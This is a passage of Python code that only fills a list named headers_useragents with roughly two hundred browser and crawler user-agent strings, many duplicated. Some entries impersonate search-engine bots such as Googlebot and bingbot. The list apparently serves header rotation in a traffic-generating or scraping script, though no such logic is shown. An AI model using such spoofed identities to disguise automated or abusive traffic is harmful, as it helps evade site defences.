  1028.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1029.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  1030.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  1031.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  1032.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  1033.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  1034.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  1035.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  1036.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  1037.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  1038.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1039.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  1040.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  1041.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  1042.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  1043.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  1044.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  1045.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1046.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  1047.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1048.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1049.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1050.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1051.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1052.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1053.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1054.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1055.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  1056.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1057.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  1058.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1059.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  1060.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  1061.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1062.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1063.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  1064.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1065.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  1066.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1067.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1068.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1069.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1070.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1071.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1072.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1073.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1074.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1075.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1076.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1077.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1078.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1079.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1080.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1081.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1082.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1083.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1084.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1085.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1086.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1087.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1088.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1089.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1090.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1091.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1092.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1093.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1094.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1095.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1096.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1097.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1098.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1099.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1100.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1101.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1102.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1103.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1104.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1105.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1106.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1107.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1108.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1109.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1110.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1111.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1112.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1113.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1114.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1115.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1116.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1117.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  1118.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  1119.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1120.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1121.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  1122.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  1123.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1124.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  1125.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  1126.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  1127.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  1128.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  1129.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  1130.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  1131.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  1132.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  1133.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  1134.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  1135.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  1136.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  1137.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  1138.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  1139.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  1140.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  1141.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  1142.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  1143.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  1144.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  1145.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  1146.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  1147.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1148.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  1149.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  1150.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  1151.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  1152.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  1153.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  1154.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  1155.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  1156.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  1157.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  1158.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  1159.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  1160.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  1161.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  1162.     headers_useragents.append('Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620')
  1163.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com')
  1164.     headers_useragents.append('Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)')
  1165.     headers_useragents.append('Mozilla/4.0 (compatible; Arachmo)')
  1166.     headers_useragents.append('Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)')
  1167.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1168.     headers_useragents.append('Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)')
  1169.     headers_useragents.append('Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)')
  1170.     headers_useragents.append('BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)')
  1171.     headers_useragents.append('Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)')
  1172.     headers_useragents.append('Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)')
  1173.     headers_useragents.append('Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)')
  1174.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  1175.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1176.     headers_useragents.append('Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )')
  1177.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1178.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)')
  1179.     headers_useragents.append('Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)')
  1180.     headers_useragents.append('Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)')
  1181.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)')
  1182.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)')
  1183.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)')
  1184.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  1185.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA')
  1186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')
  1187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')
  1188.     headers_useragents.append('Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)')
  1189.     headers_useragents.append('Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A')
  1190.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)')
  1191.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)')
  1192.     headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)')
  1193.     headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0')
  1194.     headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)')
  1195.     headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)')
  1196.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1197.     headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)')
  1198.     headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)')
  1199.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
  1200.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ')
  1201.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)')
  1202.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  1204.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  1205.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  1206.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  1207.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  1208.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  1209.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  1210.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  1211.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  1212.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  1213.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  1214.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  1215.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1216.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  1217.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  1218.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  1219.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  1220.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
